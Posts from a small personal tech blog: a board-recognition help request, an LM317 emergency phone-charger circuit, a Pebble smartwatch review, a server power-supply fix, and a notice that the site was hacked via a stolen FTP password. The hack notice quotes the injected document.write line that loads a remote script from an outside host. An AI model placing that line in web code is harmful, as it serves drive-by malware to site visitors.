• [Article 254]I need a bit of help

    so I got my Atmel xmega-B1 Xplained demo board last week and through the course of the week I have been trying to test it but all I can do with it is play with the pre-programmed stuff on the board because my computers don’t want to recognize the board properly, and unfortunately I don’t have a JTAG programer to do any software testing or even see the debugging info.

    The board only shows up as a generic HMI device when according to the documentation it should automatically show up as an Atmel HMI, a mass storage device, and as a COM port. So far I have tried the demo software installed various drivers that I found on Atmel’s website (windows wont let me use any of them) and even Atmel studio 6 does not want to recognize its existence so if any one has a suggestion please let me know
    I don’t exactly want to do a review of something I cant properly test I would buy a JTAG programmer but I don’t have the money for it right now

    maybe in a few months but not soon

  • [Article 244]Beefgir has been hacked (sort of)

    ANY one who has Accessed beefgir after march first scan your system for viruses

    here are some  links to good free antivirus/malware






    Don’t worry we still have control of the site but the java script files have been compromised up to 3 layers deep
    I have fixed all the js files that the homepages uses to be sure that it is still safe to use
    the forums do not use java script so they are safe
    I have taken down the gallery do to its heavy usage of java script until I can clean that up as well
    I have opened a ticket with the host so they can address the security hole

    what has happened was a compromised ftp password march 1 2014 @9:33 AM EST  an ftp bot ran through all the site (up to 3 levels deep and injected this:

    (note i commented the section out in case a browser trys to read it)




    document.write(“<script type=’text/javascript’ src=’http://kleraostrada.com.br/brpH7TXR.php?id=’></”+ “script>”);



    the site is safe as of now

  • [Article 234]Upcomming review

    I will be testing and  reviewing the Atmel  ATXMEGAB1-XPLD  evaluation kit in the next few weeks.

    I will be looking at how responsive the board itself is, how useable the IDE is and how it holds up  to extreme temperatures being in southern Canada  we get nice cold temperatures in the winter and up to 40ºC in the summer  :D

    If any one wants to check out the kit before I get my grubby hands on it, or take a look at some the other Stuff Atmel has take a look here: canada.newark.com/atmel

  • [Article 215]Server Down time

    the server will be down this afternoon for about 45 min to 1 hour starting at about 6pm EST

    The last few weeks I have been having server stability issues and kept seeing disk read errors in the logs I initially thought it was a failing hard drive which I then sourced to a faulty SATA cable but that wasn’t the only issue. Fortunately the hard drive is in good health and was working properly when I tested in my desktop but I still kept getting disk read errors I finally sourced it to the drives not getting enough current to run properly when I went to confirm this theory by checking the PSU voltage in the BIOS it was fluctuating between 4.8V and 5.01V so yeh the power supply is on its last leg. once I discovered that I removed all non essential components from the PSU and disabled 2 of the CPU cores which has kept the system running for the last 4 days   I have ordered a new one which came in today and will be replaced tonight.



    server has its new PSU and has happy voltages across the board and is much quieter than it was before

    UPDATE 2:

    I just realized i forgot to publish this last night DERP

  • [Article 196]Power down, phone dead? Not a problem.

    Since most people don’t own a backup generator (including myself though I would like one). I have been in this situation a few times in the last year  due to a new building going up in my area or fires  or wind between the power generation facility and the city and have lost power for more than a few hours.

    In the longest lasting one I found that my phones battery was pretty close to dead so I pulled out the bread board to remedy that problem my first reaction was to use a lm7805 (datasheet) a 5V regulator  that would have been nice but I didn’t have any at the time (the closest electronics store is a 20 min bike ride away (and there POS terminals would probably be dead anyway) so I couldn’t be bothered but I had a few dozen lm317t’s (datasheet)  a variable regulator

    With the last of my phones battery I  looked up the data sheet (if I had room I would probably keep a print out of all the components data sheets  I own )  and built the circuit with the light from the camera flash

    The equation for the voltage regulator  is  Vout = 1.25v*(1+r2/r1)

    I used a 240 ohm resistor for my r1 so 1.25(r2/240)  and I want a near 5v out put. So 5v=  ((5/1.25) -1) *240=720 and the nearest resistor I have is 750. So 1.25(1+(720/240)) =5.156 close enough! the devices internal regulator can handle an extra 160 mV. In any case its a CMOS logic device so its all 3.3V anyway. I ended up using 2 in parallel to dissipate excess heat (I didn’t have any TO-92 sized heat sinks).

    As for a final product I added some low value caps (.1 uf on the input and a 10 uf on the out put) along with some protection diodes (see final schematic) . I now have it soldered on a perf-board and in an Altoids tin  for use in the future. In fact the last time I went camping I brought it with me  and it came in handy. The first night there  pretty much killed the battery due to the cold night granted the only use I have for my phone was emergency communication and as a time piece (not an issue any more with my pebble).

    lm317 basic

    (please note that the pin numbers are wrong out is pin 2 and adj is 3)



    317t final

    (please note that the pin numbers are wrong out is pin 2 and adj is 3)





  • [Article 162]The pebble

    So I got my hands on a pebble smart watch (black).

    2013-11-03 12.54.34
    The pebble with a custom watch face I made with canvas.



    Wrist Strap:

    My initial reaction was to the feeling of the wrist band (made of TPU rubber). Its a 22mm wide band and has pogo pins so easy enough to replace them with better straps, I’m not much of a fan of rubber straps on watches (I don’t like sweaty wrists).

    The screen:

    Contrary to popular belief it uses a monochrome(1 bit) LCD display and not an e-ink display it uses a lot less power than a color LCD but  more than an e-ink.  It’s crisp and has a back light that’s just bright enough not to blind you in the middle of the night. One thing to note is that in certain lighting condition rainbow patterns will appear on the lcd  but on a positive note it has a very wide viewing angle. I can read the display at a 10 degree viewing angle.

    Body design:

    I find Its sleek looking  built entirely of polycarbonate the front is scratch/ shatter resistant although a bit bulky on ones wrist. The buttons on the pebble are a bit tough to push down( likely do to them being sealed against water entry)

    2013-11-02 00.31.22
    Front of the pebble with the “Just a Bit” face.
    2013-11-02 00.31.49
    Back of the pebble.

    The Charger:

    The second thing I took note of when i opened  the package was the bizarre connectors on the left side, after about two seconds of thinking the make perfect sense; the fact that they want the device water tight (to 5 ATM), you cant do that with a standard USB plug and socket design. Unfortunately it only supplies power to the watch to charge the battery, so all the data stuff has to be done via Bluetooth. It’s done most likely do to the size (they wouldn’t want any unnecessary components). In any case the charging cable fits well, and is held in place by two (probably neodymium) magnets. Although it falls off rather easily and will go and stick to something else made of ferrous metal. I was worried it may be causing a dead short fortunately the designers thought of this and molded a small ridge structure that is taller than either pin so it wont short (also probably to keep the proper orientation).

    2013-11-02 00.31.39
    View of the charging connectors.
    2013-11-02 00.38.42
    The charging “plug”.

    Battery life:

    It is reported to last 7 days on 2 hours of charging I haven’t tested this as I haven’t had it long enough as of writing this but its been running 3 days straight as of now)


    It runs off of Bluetooth version 4 so yay for power saving  and I can connect with my phone on the opposite side of the apartment just fine (~15 m).


    The vibration is strong enough to get your attention but I doubt it will wake me up (upon testing the alarm will bring me out of deep sleep). That brings up another point its silent no speaker peizo or other wise to be seen granted its not a positive or negative note just something to point out

    Water proofing:

    Works in the shower and submerged I was using it as a remote for listening to music and yes I like listening to metal in the shower deal with it.

    its been reported to work to 80 + feet  I don’t go SCUBA diving so I cant confirm.

    The android app:

    OK…. not a strong point but not bad either its fairly easy to navigate but I have some issues with it.

    First issue:

    I had some issues with connecting to the pebble and when ever you restart the app you need to re-setup your watch on the app
    and I would often have it stuck “connecting” but once I stopped messing with the connections and finally got a good connection to the watch it went quite well.

    Second issue:

    It contains only a very limited number of “watch-apps” only being different displays (or watch faces if you will ) and to get more you need to hunt through the play store (or one of the apps that hotlinks to other play store apps) some i understand like needing access to network or GPS but many of them just push notifications and it would be nice if the official app gives a better selection so you don’t fill up your installed apps page with a bunch just for pebble infrastructure.

    Third issue:

    I cant seem to find a bloody stopwatch /timer app for it I would assume it would be standard install (given that I had cheap digital watches with that function 16 years ago. Upon further investigation I found a site (mypebblefaces.com) that has user crated apps and faces  many of the timers are meh and I cant find a simple stop watch but plenty of nice watch faces.

    The watch UI:

    What I like:
    Quite clean and intuitive to navigate and can select various faces from the get go, but can get a little more complex with the addition of various apps. I like the use of the accelerometer you can tap or shake the watch to make it light up.

    What I don’t:

    1. There is to auto wrap on the menus so yeah scroll to the bottom then 2 seconds later need to scroll all the way back to the top, it auto scroll’s very quickly but still not as good as an auto wrap

    2. The music app needs some work I would like to be able to adjust the volume like holding the next/last song button or double taping

    3. The back-light is about 2 seconds too short for my liking and would like to configure it other than on/off/auto

    4. Text that’s too long is just truncated with … and I would rather have it scroll into view (or at least give the option)

    My wishlist for the pebble (in order of importance):
    1 Auto wrapping menus
    2 Built in stop watch/ countdown timer
    2 The music app
    3 Options for the wrist strap
    4 Adjustable length of back-light
    5 More space for apps (this may just be a hardware limitation barring that have something built in to the phone app for easy swapping of watch-apps)
    6 Scrolling text of things that don’t fit on one line
    7 Pushing alarms to the pebble.
    8 a battery level indicator that always shows you the current level (at least 5 segments)

    What I’m running (I’ll probably do a review on a couple of these):
    1 Music Boss (not a watch app)
    2 Canvas for Pebble
    3 Pebble Bike
    4 Pebble Dialer
    5 Calendar
    6 PebbleApps
    7 Ring my Phone
    8 K9ToPebble
    9 Just A Bit ( I like reading BCD)


    Over all I would give it a 7/10

    It looses points mostly for the android app and some missing / “could be better” functionality that may be addressed with future firmware updates. Its useful but not a necessity if you don’t own a watch  and want a good quality one grab a pebble its only $150